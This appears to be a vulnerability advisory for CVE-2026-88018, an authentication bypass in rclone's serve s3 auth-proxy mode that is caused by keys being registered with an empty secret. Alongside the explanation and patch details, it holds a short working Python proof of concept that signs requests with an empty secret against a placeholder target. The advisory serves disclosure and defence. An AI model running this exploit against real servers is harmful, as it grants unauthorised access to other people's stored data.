CVE-2026-88018: rclone serve s3 SigV4 Authentication Bypass via Empty Secret
Any unauthenticated attacker can sign an S3 request with an empty secret and be accepted as a fully authenticated user by rclone's serve s3 when --auth-proxy is used without --auth-key.

The problem
rclone's serve s3 command, when started with --auth-proxy but without --auth-key, runs every incoming request through authPairMiddleware. That middleware reads the accessKeyID directly from the client-supplied Authorization header and registers it into gofakes3's credential store paired with an empty secret (ws.s3Secret defaults to "").
Because an empty string is a valid HMAC key, gofakes3's SigV4 verifier then accepts any request whose signature was computed with an empty secret for that same key. The auth-proxy script never sees a real secret either: Server.auth() passes the access key ID as both the user and the password fields, so no script can distinguish a legitimate caller from an attacker who picked the same key ID.
The net result is a complete authentication bypass on any serve s3 --auth-proxy deployment that does not also set --auth-key.
Proof of concept
A working proof-of-concept for CVE-2026-88018 in github.com/rclone/rclone, with the exact payload below.
# Derive a valid SigV4 signature using an empty secret for any made-up access key ID.
# Uses aws-sdk-go-v2 (or any AWS SDK) with SecretAccessKey set to "".
import boto3
from botocore.auth import SigV4Auth
from botocore.awsrequest import AWSRequest
from botocore.credentials import Credentials
import urllib.request
# Arbitrary key ID - never registered or configured anywhere on the server.
ACCESS_KEY = "AKIAATTACKERCHOSEKEY"
SECRET_KEY = "" # empty string - the server accepts this
REGION = "us-east-1"
ENDPOINT = "http://<target>:8080"
creds = Credentials(ACCESS_KEY, SECRET_KEY)
request = AWSRequest(method="GET", url=f"{ENDPOINT}/",
headers={"Host": "<target>:8080"})
SigV4Auth(creds, "s3", REGION).add_auth(request)
with urllib.request.urlopen(
urllib.request.Request(f"{ENDPOINT}/",
headers=dict(request.headers))) as resp:
print(resp.status, resp.read().decode())
# Expected output:
# 200
# <ListAllMyBucketsResult>...<Bucket><Name>mybucket</Name>...</ListAllMyBucketsResult>authPairMiddleware trusts the client to name its own accessKeyID, then immediately calls ws.faker.AddAuthKeys(map[string]string{accessKey: ws.s3Secret}) where ws.s3Secret is "" when --auth-key is absent. gofakes3's SigV4 path then computes HMAC-SHA256("", ...), which is deterministic and reproducible by anyone.
There is no second factor: Server.auth() forwards the same access key ID string as both the user identifier and the credential to the proxy script, so the script has nothing real to verify.
The patch rewrites the auth-proxy wire protocol for S3. The proxy is now given the access key ID as user and must return the actual secret as _secret_access_key. gofakes3 then verifies the signature against that returned secret instead of a globally empty one, eliminating the zero-knowledge bypass.
CWE-306 (Missing Authentication for Critical Function) and CWE-287 (Improper Authentication) both apply.
The fix
Upgrade to rclone v1.75.1. The patch changes the auth-proxy protocol for serve s3: the proxy program now receives the access key ID as user and must return the matching secret as _secret_access_key in its JSON response. SigV4 verification is performed against that per-identity secret.
If you cannot upgrade immediately, add --auth-key <accessKeyID>,<secretKey> to your serve s3 invocation to prevent the empty-secret registration path from being hit.
Reported by Nick Craig-Wood.
Related research
- critical · 9.1CVE-2026-88044CVE-2026-88044: rclone RC Per-Server Auth-Proxy Bypass (FTP/S3)
- high · 7.5CVE-2026-88045CVE-2026-88045: rclone serve s3 Multipart Memory Exhaustion via Declared Content-Length
- high · 7.3CVE-2026-88017CVE-2026-88017: rclone FTP Auth-Proxy Cross-Session Credential Overwrite
- high · 8CVE-2026-71312CVE-2026-71312: rclone SFTP PowerShell Smart-Quote Filename OS Command Injection